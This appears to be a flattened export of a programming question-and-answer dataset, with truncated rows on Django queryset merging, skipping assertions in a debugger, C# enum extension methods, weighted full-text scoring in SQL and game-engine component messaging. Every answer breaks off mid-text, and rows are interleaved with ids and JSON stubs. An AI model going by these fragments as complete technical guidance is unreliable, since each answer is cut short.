In Django, combining querysets from different models directly into a single queryset for pagination and sorting purposes can be tricky, especially when the models have different fields. However, you can achieve this using a couple of approaches. Below are two common methods: ### 1. Use `chain` from `itertools` You ca...
35,974
[ { "from": "human", "value": "In my specific case, I have two kinds of \"messages\" that I need to retrive and paginate.\nLet's omit the details, and just say that the first kind is in a model called Msg1 and the other is called Msg2\nThe fields of these two models are completely different, the only fields t...
Here's the scenario. I'm debugging my own app (C/C++) which is using some library developed by another team in the company. An assertion fails when my code generates some edge case. Its a pain because the assertion is not formulated correctly so the library function is working OK but I get all these interruptions where...
Yes, you can configure your debugger to automatically continue execution when a specific assertion fails. The exact steps will depend on the debugger you are using, but here are some general strategies for popular debuggers: ### For GDB (GNU Debugger): If you're using GDB, you can handle assertions by setting a comman...
36,419
[ { "from": "human", "value": "Here's the scenario. I'm debugging my own app (C/C++) which is using some library developed by another team in the company. An assertion fails when my code generates some edge case. Its a pain because the assertion is not formulated correctly so the library function is working O...
In vs2008, is it possible to write an extension methods which would apply to any enumeration. I know you can write extension methods against a specific enumeration, but I want to be able to every enumeration using a single extension method. Is this possible?
In C#, you cannot directly create extension methods that apply to all enumerations. However, you can create an extension method for the `Enum` type, which serves as the base class for all enumerations. By using the `Enum` class, you can achieve behavior that is applicable to all enumeration types. Here's an example of...
37,298
[ { "from": "human", "value": "In vs2008, is it possible to write an extension methods which would apply to any enumeration.\nI know you can write extension methods against a specific enumeration, but I want to be able to every enumeration using a single extension method. Is this possible?\n" }, { "fr...
I have created a multi column datastore on a table that allows me to do full text indexing on the table. What I need to be able to do is weight each column different and add the scores together. The following query works, but is slow: SELECT document.*, Score(1) + 2*Score(2) as Score FROM document WHERE (CONTAINS(docum...
To add scores for different columns in a single `CONTAINS` clause while maintaining the ability to weight the columns differently, you can use a combination of `CONTAINS` and scoring functions in a way that ensures you retrieve relevant results and sum their scores. Unfortunately, SQL doesn't directly support adding s...
30,847
[ { "from": "human", "value": "I have created a multi column datastore on a table that allows me to do full text indexing on the table. What I need to be able to do is weight each column different and add the scores together.\nThe following query works, but is slow:\nSELECT document.*, Score(1) + 2*Score(2) a...
I'm writing a lightweight game engine and while doing some research for it I've come across a number of compelling articles advocating the implementation of Game Objects through a "collection of components" model rather than an "inheiritance from concrete classes" model. There are lots of advantages: objects can be c...
The challenges you're facing with component-based architecture in your game engine are common, but there are several established patterns to facilitate communication between components effectively. Below are some approaches you can consider to manage component communication within your lightweight game engine. ### 1. ...
31,388
[ { "from": "human", "value": "I'm writing a lightweight game engine and while doing some research for it I've come across a number of compelling articles advocating the implementation of Game Objects through a \"collection of components\" model rather than an \"inheiritance from concrete classes\" model. Th...